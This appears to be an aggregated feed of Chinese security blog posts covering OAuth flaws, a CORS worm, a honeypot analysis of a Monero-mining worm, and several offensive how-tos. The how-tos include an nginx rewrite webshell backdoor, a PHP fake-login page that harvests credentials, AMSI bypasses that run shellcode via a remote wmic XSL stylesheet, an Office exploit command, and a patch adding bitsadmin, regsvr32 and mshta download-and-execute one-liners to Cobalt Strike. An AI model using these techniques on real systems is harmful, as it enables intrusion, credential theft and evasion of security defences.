Quantcast
Super Channel: t00lz
Browsing latest articles
View live

[UPDATE]号称影响10亿App的OAuth2.0使用缺陷

$
0
0

说 OAuth2.0 漏洞/这个协议不安全的人,把头伸过来下,砖头准备好了。

Black Hat 的有关 Paper:

《OAuth User Profile Attack – How to Sign into One Billion Mobile App Accounts Effortlessly》

本质问题在于一些 App 在使用 OAuth2.0 协议时,(估计为了简单)使用的是 Implicit Flow 模式,然而并没严格按照协议的要求去实现,导致可能出现的劫持攻击。这并不是说 OAuth2.0 本身有漏洞或这个协议本身不安全,就好像两年多前的心脏出血漏洞,问题不在于 SSL 这个协议本身,而在于其某种实现方式(OpenSSL)有缺陷。一些媒体文的专业性一直是被诟病的,搞安全的人不要轻信媒体文。

结论与建议看 Paper 的倒数3、2页。

补充说明:

这种攻击的出现,只能说明相关开发文档没写清楚及 OAuth2.0 协议本身的实现上有缺陷(没做好应有的安全校验),这让我想起两年多前的 OAuth2.0 劫持缺陷,当时劫持的是目标网站(如知乎)的目标用户(如黄继新)的账号权限,配合了 CSRF,拿到黄继新的 Access Token,最终控制了他的账号。不过这个议题的问题不一样,可以认为是用你事先准备好的恶意账号去绑定目标 App 的目标用户的账号权限,既然是针对 App 的攻击,那辅助技巧就不大一样了(不像之前用 CSRF 等前端 Hack 技巧),所以我还在琢磨作者说的“Effortlessly”(不费力)是怎么个不费力呢?

欢迎讨论。


[UPDATE]2016/11/7

由于上面 Paper 提到了 Sina,我向微博安全团队的负责人要了相关细节(Paper 团队的研究确实很细致,数据证明方式也是耳目一新,这很难在工业界看到。由于漏洞的敏感性,这些细节暂时不做公布,可以说的是这些细节比上面公布的 Paper 要多得多)。这些细节验证了我上面的一些说法,真实利用上比起两年多前那种直接“偷” Access Token 的方式是要麻烦的,但我还是留个小心眼吧,很多时候漏洞是一回事,利用又是另外一回事,尤其是遇到猥琐流。

注:早年,我们称搞前端 Hack 的人为猥琐流,因为奇技淫巧确实太多,当年的很多奇技淫巧现在偶尔还能被看到拿出来重讲的,这个时代还在如火如荼发展呢:-)

OAuth 及其他类似的认证授权机制(注意认证和授权的区别)在理解上确实复杂,这导致如果没简洁完善的开发文档来参考+高人安全架构来指导,确实容易出问题,大问题…


记第10次印刷

$
0
0

《Web前端黑客技术揭秘》这本书2013.1月开售至今,已经第10次印刷,在安全类书籍中,这种成绩确实超出我们的意料。回头看看这一路记录的一些文字也是挺有意思的:

http://evilcos.me/?tag=book
还有本书官网http://web2hack.org/上的“消息列表”。

作为过来人,写书虽然是一件很有成就感的事,但是机会成本可能太高,而且真的很痛苦,除非你本身就是个写作爱好者。感谢所有的支持者。

书出版到现在已经快4年了,确实很多知识可以更新,至于本书的第二版是否会出,且看某人是否真的有足够勇气继续承受这种压力,当然某人的勇气多少也会拉我再次入那么点火坑。

哎…

关于浏览器混合内容的安全性

$
0
0

Seebug Paper之前收录了三篇文章有些关联性,分别是:

  1. 绕过混合内容警告 – 在安全的页面加载不安全的内
    http://paper.seebug.org/112/
  2. 检测本地文件躲避安全分析
    http://paper.seebug.org/87/
  3. 基于浏览器的指纹识别:影响和缓解措施
    http://paper.seebug.org/64/

有个关键点是:混合内容的安全性

这里提到的主要是协议的混合,如https/http/file/res/mhtml等,现代浏览器逐渐开始隔离这些协议,比如https下加载http的内容时,给出安全提示;再比如“修补”file/res/mhtml这些协议在http协议的网页里带来的安全问题,如本地文件探测(常见的是杀软探测)。

玩前端Hack的都知道,修补与绕过总是在博弈,而且浏览器们的修补是存在差异的,也就是可能出现浏览器安全差异。

很早以前,我在写https协议下的XSS exp时,就注意到:当载入http内容时,浏览器的安全提示。后来解决方案是采用DOM动态操作来绕过,这个技巧和第一篇文章里提的一样。为什么这样可以?这个关键点就是浏览器安全机制的触发机制,采用DOM动态操作时,这个浏览器安全机制并不会触发。我的理解是DOM的操作实在过于繁杂,为了性能平衡,许多浏览器安全机制并不会触发,而仅在页面加载时触发。当然,我也认为这种理解不总是成立,具体问题还得看场景分析。

这种特性能带来很多有意思的前端Hack技巧,比如AngularJS发布时,我就做了个有趣的安全测试(Bypass CSP),当时利用AngularJS丰富的前端异步加载机制,有些外域内容通过合法的异步加载再在本页面渲染解析,达到无视CSP策略的效果。

顺着这个关键思路,我们的绕过就不需要那么直接去面对对应的安全机制,而是采用规避方式:也就是想办法不触发某些我们不喜欢的安全机制,这是我们绕过的核心点。

还有,第二篇文章提到的window.open技巧,是一种好技巧,浏览器需要特别对待,否则这对于前端Hacker来说也是个非常好的“触发机制混沌区”。在我看来,浏览器对待window.open多少有些无奈,首先是历史原因导致还未摒弃,然后奇特的父子权限模型,及为了用户体验而允许点击事件下的不拦截弹窗,这还导致了一系列其它类别的安全问题,如钓鱼。

回到混合内容的安全性。现在及未来,不仅协议之间如此隔离,内容也一样,CSP策略正是为此而生。

在HTML5如日中天及前端框架百花齐放的现在,DOM里的博弈不会消减,可预见的是会更加激烈。虽然,这三篇文章都是上古时代的Hack延续了…

本文,手机上写的。先这样:-)

说说“当代 Web 的 JSON 劫持技巧”

$
0
0

当代 Web 的 JSON 劫持技巧
http://paper.seebug.org/130/

猥琐流的家伙居然在OWASP重出江湖而且加入了Burp Suite那家公司。这篇技巧核心是__proto__,可以理解为JavaScript曾经的prototype在ES6里的增强,当代浏览器基本都支持了这个新标准。这个跨域技巧很有意思的,不过目前实战利用上“暂时鸡肋”…

里面还有个亮点是UTF-16BE技巧,这个技巧除了注意字符集差异带来的安全问题之外,还应该注意下:浏览器对待MIME类型检查的态度差异…

重点来了,欢迎更多人投稿安全技术文章给Seebug Paper,公益性的:-)

投稿方式见:
http://paper.seebug.org/call-for-paper/

[PRE]CSRF攻击-进击的巨人

$
0
0

计划准备出一个PPT专门讲解CSRF里的各种奇技淫巧,除了那些老套的手法之外:

https://github.com/evilcos/papers
我公布的Papers里有个PPT是《CSRF攻击-苏醒的巨人》,可以参考。

还包括以前提的Flash CSRF/XSF等方式,细节可以温习去年我的Paper(隐蔽的战场—Flash Web攻击),希望Flash是日不落帝国,虽然现在快日落了,但是不影响我们的最后挣扎。

除了这些,当然会有新的玩意,比如JSON Hijacking就一直在进化。还有去年很火的WormHole,这是JSON Hijacking本地攻击的一种延伸,点击下这个试试:

http://evilcos.me/lab/pac.html

探测你本地是否用Shadowsocks,当然你即使用了也不一定会弹,毕竟我测试的端口仅仅是默认的8788(如果你不是这个端口,你可以改为这个端口试试)。

以前我说过:玩CSRF,最爽的是结合了Flash,无声无息…

最近在做路由器安全研究,以及昨晚做了个新型蠕虫的测试:

1

给我带来的结论是:Flash,你可以安息了,感谢HTML5,以后玩CSRF同样可以很优雅。

我为什么Demo这只蠕虫?因为这确实是个影响会很深远的安全问题。

在我过去两年做的《程序员与黑客》第一季与第二季的演讲,里面有个核心点就是:程序员与黑客思维的差异,导致一些类型的安全问题可以成为经久不衰的存在,甚至会随着程序员的进化而不断演变。比如HTML5/ES6这些前端玩意的风靡,必然会带来许多“超能力”的滥用,毕竟能成为黑客的程序员少之又少,对抗博弈一直微妙地存在。

按照这种思维以及我最近的一些实战,CSP的存在(以及HTTP那些安全的X-扩展协议头)不会是前端黑的噩梦。我们最大的敌人是我们自己,伟大领袖也说过这句话:-)

一种新型蠕虫:花瓣CORSBOT蠕虫

$
0
0

新年新气象,这个蠕虫我做了小范围测试,也提交了官方修复,小圈子里做了分享,这里正式对外公布下,出于研究而非破坏为目的,供大家参考。

IAMANEWBOTNAMEDCORSBOT
——-BOT PoC——-
http://evilcos.me/lab/IAMANEWBOTNAMEDCORSBOT.TXT

完整代码直接见上面这个链接即可。

里面需要特别注意的两个点:

  1. Conten-Type是JSON
  2. Origin是:huaban.com.al3rt.io,这个小技巧直接绕过花瓣的Origin判断

所以,蠕虫得以传播。

本质是:CORS(Cross-Origin Resource Sharing)的滥用导致,效果图:

最后,友情提示下:这个问题还是比较普遍的。脑洞怎么开,玩起来才会知道,不玩永远想不到:-)

蠕虫挖矿一例,无码

$
0
0

今天凌晨,我们的蜜网系统跳出了个有趣的字符串:

zaxa2aq@protonmail.com

ProtonMail!前段时间我们的分享(推荐安全且匿名的邮箱 ProtonMail)似乎暗示着某种巧合,这不得不引起我们的兴趣。意料之内,匿名是把双刃剑,剑的另一端,“匿名之恶”会让人性丑恶发挥到极致。

以前我说过,黑暗森林法则同样适用于这个网络空间:被发现即被干掉。不好意思,这次是我们“干掉”了对方。

上面这个字符串完整内容是:

(exec /var/tmp/.war/1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x &> /dev/null &)

我简单解释下这条 Bash 命令:

1.
exec,负责执行后面的命令,细节用途自行查阅。

2.
/var/tmp/.war/1,这个文件由下面这条命令创建:
wget http://95.128.182.166/javascripts/minerd -O /var/tmp/.war/1

3.
1 == minerd

4.
minerd 之后的参数:
-a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x
目测和比特币等这类货币的挖矿有关,因为:minergate.com 就是这样的邪恶挖矿大平台。合法存在。

5.
&> /dev/null
无视标准输出与错误输出。

6.
最后的 &,表示这条命令放到后台执行。

7.
最外层的小括号(),表示创建一个新的 Shell。

上面的7点解释,重点看第4点就好。

为了确定我们的“目测”,我们用我们唯一的官方邮箱“lant34m@protonmail.com”同样在 minergate.com 上注册了个账号。在这个平台深度体验一番,不得不感慨,挖矿的世界真是眼花缭乱,满地宝藏既视感。

这个平台上,我们发现下面这个挖矿说明链接:

https://minergate.com/altminers/cpuminer-multi-wolf

部分区域截图如下:

 

红框里的内容是:

minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u lant34m@protonmail.com -p x

对比下上面的第4点,这下确定了吧?另外,这个 minerd 本身还是开源的…你可以根据自己的特殊要求修改编译。

好,回到开头,这个蠕虫其实不是什么新鲜玩意,传播的主要方式是通过 Linux 服务器的弱口令及一些漏洞(比如:Redis 那个未授权访问缺陷)。

这个蠕虫感染一万台服务器,那么就有一万个挖矿节点…

别说运用什么 0day,就是用到一些上古时代的技术,我们也能在这个健壮又脆弱的网络空间里成为“有钱人”。

还好,我们不是坏人。

前端黑在线工具 XSS’OR

$
0
0

这是一个在线免费的前端黑工具,目前主要包含 3 大模块:

1. Encode/Decode

加解密模块,包含:前端黑相关的加解密,代码压缩、解压、美化、执行测试,字符集转换,哈希生成,等。

2. Codz

代码模块,包含:CSRF 请求代码生成,AJAX 请求代码生成,XSS 攻击矢量,XSS 攻击 Payload,等。

3. Probe

探针模块,为了平衡,这是一个最基础的探针,且每个 IP 每天都可以生成一个唯一探针,使用者可以用这个探针发起攻击测试(如:XSS、钓鱼攻击等),探针可以获取目标用户的基本信息,使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。

一些用户体验与隐私考虑:

XSS’OR,即使你浏览器不小心关掉或奔溃,你的记录也不会丢,因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私,除了 Probe 的结果记录(仅是结果记录)会临时性缓存,这是因为设计考虑,但每天0点都会自动清除。

放心使用吧!地址:xssor.io

如果你有好的想法与贡献,我们采纳后,会在 XSS’OR 致谢榜上感谢你。


XSS’OR 开源,Hack with JavaScript

$
0
0

XSS’OR 开源了。采用 BSD 开源协议,很宽松,不限制传播与商业化,留下作者版权就好。在下面这个 GitHub 页面上,你不仅可以得到 XSS’OR 的源码,还可以了解如何自己搭建一个。

https://github.com/evilcos/xssor2

简单说明下:

上线之后(xssor.io),使用频率还不错。源码是 Python 及 JavaScript,采用了 Django、Bootstrap、jQuery 三个优秀框架,可以完整覆盖前后端,基于这三个框架,开发速度非常的快,整个过程消耗我不到一周时间,其中一半耗时在软件设计上。感兴趣这个过程的,可以读这套源码,很简洁,在开发过程中我特意去掉数据库(因为我觉得我这个应用场景其实不需要数据库)。

既然开源了,后续应该会和新组建的 ATToT 安全团队一起去完善它。

XSS’OR 信息量不小,如果你也玩前端黑,好好玩^_^。

WordPress防火墙

$
0
0

用了很久了,推荐下这个:

Wordfence Security

细节自己体验吧,说点别的。

WordPress生态这么多年一直没变,安全生态也如此。如此开放的生态,短板都给了那些插件,插件一旦出个安全问题危害是很直接的。WordPress这种生态设计是没有所谓的安全沙箱。

插件的安全问题交给了插件自己解决,于是第三方安全插件也在发展。

但是有个尴尬的大势所趋,Blog 这种大生态现在越来越尴尬,自己搭建 Blog 已经不像曾经那样时髦。大环境变了,这种第三方安全插件的收益估计也会很尴尬。WordPress 这个全球最流行的 Blog 系统,有个非常重要的连接设计是 RSS,可惜越来越少人在意 RSS,每一个 Blog 都犹如孤岛一般存在,不再热闹。

这个时代发展实在太快,信息大爆炸如此,谁会在意这座孤岛?

都已经是孤岛,但别荒废长草,安全这道护城河,做好不难。

CVE-2018-0802利用

$
0
0

在CVE-2017-11882之后,2018年1月份又出了一个新的“噩梦公式二代”,在野样本嵌入了利用Nday漏洞和0day漏洞的2个公式对象同时进行攻击,Nday漏洞可以攻击未打补丁的系统,0day漏洞则攻击全补丁系统,绕过了CVE-2017-11882补丁的ASLR(地址随机化)安全保护措施,攻击最终将在用户电脑中植入恶意的远程控制程序。关于此漏洞的分析,可以看这里,今天看到在github公开了一个CVE-2018-0802的利用脚本,地址在这,为了达到最完美的利用,所以编写了RTF_11882_0802。

GITHUB:
此脚本集合了两个公式利用漏洞。

利用方式与之前的方式一样。

python RTF_11882_0802.py -c "cmd.exe /c calc.exe"  -i test.rtf -o test.doc

其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。

“噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。

解决方案

一、及时更新补丁

补丁下载地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802

二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号

在运行中输入:

reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400

注:此脚本只是为了安全研究,切勿非法使用!使用此脚本所造成的一切法律问题及后果,本站概不负责!

Hack with rewrite

$
0
0

0x00 简介

大家都知道apache,nginx等有rewrite的功能,通过rewrite规则可以把输入的URL转换成另一个URL,这是我们常见的一种需求,可以让我们的url变得更加简洁。但是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。

0x01 后门

关于通过配置文件做后门已经有很多文章有了介绍,即.htaccess.user.ini文件构造后门,关于.htaccess后门可以看这里,user.ini后门P牛也发过一篇文章,可以看这里,当然还有柠檬师傅的php.ini构成的后门。那么跟rewrite有什么关系呢。其实rewrite主要是为了逃避日志审查,通过rewrite,我们可以通过访问一个图片后缀的文件来执行我们的webshell,但是修改这些配置文件需要一定的权限。下面来进行一下简单的介绍。测试的时候主要是使用nginx,所以对nginx进行一下介绍,关于apache的配置有兴趣可以自己去查一波。下面是我的配置:
ngingx.conf

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    include /usr/local/nginx/vhosts/*.conf;
    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

配置了多个域名的配置,所以针对某个域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.conf

server {
    listen 80;
    server_name  mydomain.com;
    root /www/mydomain;
    index index.html index.php;
    if ( $query_string ~* ".*[\;'\<\>].*" ){
        return 404;
    }
    location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
        expires 30d;
    }

    location ~ .*\.(js|css)?$ {
        expires 7d;
    }
    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;

        include        fastcgi_params;
        #设置PATH_INFO并改写SCRIPT_FILENAME,SCRIPT_NAME服务器环境变量
        set $fastcgi_script_name2 $fastcgi_script_name;
        if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
            set $fastcgi_script_name2 $1;
            set $path_info $2;
        }
        fastcgi_param   PATH_INFO $path_info;
        fastcgi_param   SCRIPT_FILENAME   $document_root$fastcgi_script_name2;
        fastcgi_param   SCRIPT_NAME   $fastcgi_script_name2;
    }
}

要配置重定向很简单,只需要加入

    location ~ \.png$ {
    rewrite ^/img/test\.png$ /img/test.php last;
    }

意思是匹配以png结尾的url,如果匹配到 img/test.png,则重定向到 img/test.php,所以,只需要在img目录下存放test.php,我们就可以通过访问 http://domain.com/img/test.png来访问。如下图:
1520482949500.png

关于更多匹配的规则,可以看这篇文章

配置完需要重启nginx服务。

0x02 基础认证钓鱼

关于基础认证钓鱼,其实很早之前就已经有文章介绍过了,比如如何制作基础认证钓鱼页面。其实原理就是在页面中插入一个php的img,即:

<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>

php的代码就是401的验证,当用户打开这个页面的时候,由于请求了http://site.com/1.php,所以会弹出验证的页面,用户输入账号密码之后,密码则会被攻击者记录。

注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。

为了让此攻击达到更好地隐蔽效果,我们可以使用rewrite来重写url。则使得访问的链接文件后缀为一个图片。为了达到更好地攻击效果,写了以下php代码:

<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";
if ($user && $pass){
    $fp = fopen("count.txt", "a");
    $content = fread($fp);
    $ip = $_SERVER["REMOTE_ADDR"];
    $all = file_get_contents("count.txt");
    fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
    $line = substr_count($all,$ip);
    fclose($fp);
}
if($line < 2){
    header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
    header('content-type: image/png');
    echo file_get_contents("test.png");
}
?>

代码的功能就是弹出认证窗口,等待用户输入,并将输入的账号密码存到count.txt,如果此用户输入已达3次(一次输入可能是随便输入的账号密码),则输出正常图片。演示如下:

4878.gif
当然,你可以自己定义其他功能,比如将账号密码发送到邮箱等等。

php代码写好了,怎么利用呢?
其实我们要做到就是找各种编辑器,找那种可以远程插入图片的,然后插入我们的链接,如果网站直接把链接插入网站,那么在加载的时候,就会加载我们的验证页面。rewrite除了可以让后缀看起来是一个图片文件,其实还可以对一些编辑器进行绕过,比如插入远程图片的时候,编辑器对图片进行预览:

1520488071492.png

碰到这种情况,我们可以首先使用默认配置的nginx插入图片,如下图:

1520488284941.png

插入成功并提交以后,再重新修改rewrite。这样可以进行一些绕过。某种情景的攻击如下:
demo:
demo.gif

为了达到更好地效果。攻击者可以注册一个看起来受信任的域名。比如说,如果攻击者的目标是targetdomain.com,那么他就可以注册如下的类似地址:

targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com

Cobalt strike3.8 中文支持

$
0
0

0x00 简介

cobaltstrike3.10 已经出来很久了,其中最吸引人的可能就是他已经支持中文了,但是貌似很久以来都没在网上看到3.10的资源,所以就没办法,拿手上的3.8 改改将就用。

0x01 反编译

首先我们要对cobaltstrike3.8进行反编译,这里可以参照之前破解的方法,戳我,使用jad进行反编译。

1522336230599.png

0x02 修改代码

要怎么定位到要改哪里呢?
我们可以看一下CS的输出:

1522336286954.png

可以看到在输出之前有received output,所以我们就可以检索这个关键字,马上可以定位到BeaconC2.class文件,搜索“received output”一共有5个结果:

1522336540818.png

查看代码如下:

1522336597408.png

可以看到,输出的结果是由CommonUtils类的bString方法返回的,定位到CommonUtils.class文件查看代码:

1522336678669.png

可以看到传过来的数据使用 ISO8859-1 进行了编码。ISO8859-1属于单字节编码,最多能表示的字符范围是0-255,应用于英文系列。比如,字母a的编码为0x61=97。 很明显, ISO8859-1 编码表示的字符范围很窄,无法表示中文字符。这就是CS无法显示中文的原因。经过测试,使用 ISO8859-1 进行中间编码是不会导致数据丢失的。那么我们是不是可以修改代码把编码转过来来呢?当然可以 !

但是由于自己比较菜,直接修改CommonUtils.java以后编译不过去(表示很难受,如果你会编译,还希望不吝赐教)。所以只能去修改BeaconC2.java。

经过多次测试,发现在CS上执行命令以后返回的结果编码为GBK,所以转码过程为
CommonUtils.java转码:

GBK -> ISO8859-1

我们要修改的BeaconC2.

ISO8859-1 -> GBK -> UTF-8

所以思路就很明朗了,我们只需要在传入rest之前把中文转换成UTF-8就可以了,代码也很简单,测试如下:

1522337535419.png)

所以关键代码为:

String tmp = CommonUtils.bString(CommonUtils.readAll(in));
String tmp1 = new String(tmp.getBytes("ISO8859-1"),"gbk");
String rest = new String(tmp1.getBytes(),"utf-8");

源代码是这样:

1522337880400.png

修改以后是这样:

1522337852391.png

所以找到所有的:

 String rest = CommonUtils.bString(CommonUtils.readAll(in));

替换即可。

0x03 编译替换

修改以后,需要把BeaconC2.java编译之后替换原来的BeaconC2.class。编译方法很简单,只需要把BeaconC2.java放到解压以后的CS目录,执行以下命令:

javac -classpath . BeaconC2.java -Xlint:unchecked

在这里,可能会碰到以下报错

1522338365724.png

这里可以改一下代码,将

import c2profile.MalleableHook.MyHook;
import dns.DNSServer.Handler;

改为:

import c2profile.MalleableHook;
import dns.DNSServer;

在进行编译即可。之后将原来的BeaconC2.class替换,我们的CS就修改完成了。

0x04 效果

这里录了一个DEMO:

CS.gif

这里就不给CS了,分享一下改好的BeaconC2.class,用的时候只需要把CS用压缩包格式打开,直接替换beacon目录下的BeaconC2.class就好了。下载戳我

使用hashcat破解加密office文件

$
0
0

首先要下载 office2john.py,支持破解的加密为office自带的加密功能,即:
83000-eyr1re7d788.png
使用office2john将office转换为hash:

python office2john.py 123.docx > hash.txt

48261-cl8sxps7xum.png
使用以下命令进行切割,转换成hashcat支持的形式:

awk -F ":" '{print $2}' hash.txt > hashhc.txt

06114-1kst5rl8a9g.png
使用hashcat进行破解:

hashcat -m 9500 hashhc.txt ~/wordlist/passwd.txt -o out.txt

这里我使用了office2010,所以选择9500,要根据对应版本来选择

选择版本可以使用 hashcat --help 来查看
17293-xqb7bq65lso.png
破解成功如下:
56296-fi7e6sribvo.png

DotNetToJScript 复活之路

$
0
0

0x00 简介

去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFightersCACTUSTORCHSharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
1530067126795.png
最近,学到了两种bypass的方式,所以进行一下分享。

0x01 禁用AMSI

这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
1530067444682.png
运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
1530067501155.png
这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable,尝试修改此键值为0:
1530067589819.png
再次运行脚本,可以看到shellcode成功执行了,如下图:
bypass
虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll,如果我们把cscript.exe 重命名成amsi.dll会怎么样呢?

copy c:\windows\system32\cscript.exe amsi.dll
amsi.dll evil.js

dllhijack

可以看到成功shellcode 成功执行了,修改过滤器如下:
1530068708904.png
我们来看一下调用过程
1530068764803.png
可以看到,现在已经没有调用C:\Windows\System32\amsi.dll,这也就让我们成功执行了我们的shellcode。

0x02 利用wmic

Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:

#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"

evil.xsl

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    ]]> </ms:script>
</stylesheet>

修改好的脚本,可以看这里:戳我
使用一下命令则可执行shellcode

wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"

但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
1530081940192.png

那么怎么调用呢?
在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:

var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://host/a.xsl");
xml.transformNode(xsl);
self.close();

那这样我们就可以构造HTA来远程调用了。为了方便使用,我已经写好了一个aggressor脚本,地址:
GITHUB:

使用如下图:
demo

0x03参考

https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/


Cobal Strike 自定义OneLiner

$
0
0

0x00 起因

在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:

19484-drjxyu0m4wg.png

而且在生成以后打开site,只需要点击Copy URL就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:
73927-nvotona7nxc.png

所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。

0x01 使用javassist修改class

Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载javassist ,新建一个java工程,右键工程导入javassist包。

15585-gsx22q9953w.png

我们可能常用mshta http://host/test.png 的方式来请求payload,可以使用一下代码进行添加:

package changeclass;

import java.io.IOException;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class change {
        public static void main(String[] args) {
            updateMethod();
        }
        
        public static void updateMethod(){
            try {
                ClassPool cPool = new ClassPool(true);
                    //如果该文件引入了其它类,需要利用类似如下方式声明
                //cPool.importPackage("java.util.List");
                
                //设置cobaltstrike.jar文件的位置
                cPool.insertClassPath("/tmp/cobaltstrike.jar");
                
                //获取该要修改的class对象
                CtClass cClass = cPool.get("common.CommonUtils");
                
                //获取到对应的方法
                CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
                
                //更改该方法的内部实现
                //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称
                cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
                        + "String f = garbage(\"temp\");"
                        + "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
                        + "if (\"powershell\".equals($2)) {"
                        + "return PowerShellOneLiner($1);}"
                        + "if (\"python\".equals($2)) {"
                        + "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
                        + "if (\"regsvr32\".equals($2)) {"
                        + "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
                        + "if (\"mshta\".equals($2)) {"
                        + "return \"mshta \" + $1;}"
                        + "if (\"wmic\".equals($2)) {"
                        + "  return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
                        + "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
                        + "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
                
                //修改以后输出目录
                cClass.writeFile("/tmp/");
                
                System.out.println("=======修改方法完=========");
            } catch (NotFoundException e) {
                e.printStackTrace();
            } catch (CannotCompileException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

}

在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1 开始,若该方法为非 static 方法,可以用 $0 来表示该方法实例自身,若该方法为 static 方法,则 $0 不可用。而且写的代码需要将", \ 进行转义。

运行此代码,可成功生成一个新的class:
39332-5o637aqvh1.png

41077-02rq3jqomynr.png

将此class替换CS中的class就好了。

使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)"); 

使用mshta

site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");

效果如下:
aaa

已经编译好的class可以从这里下载:
GITHUB:

CS teamserver.bat

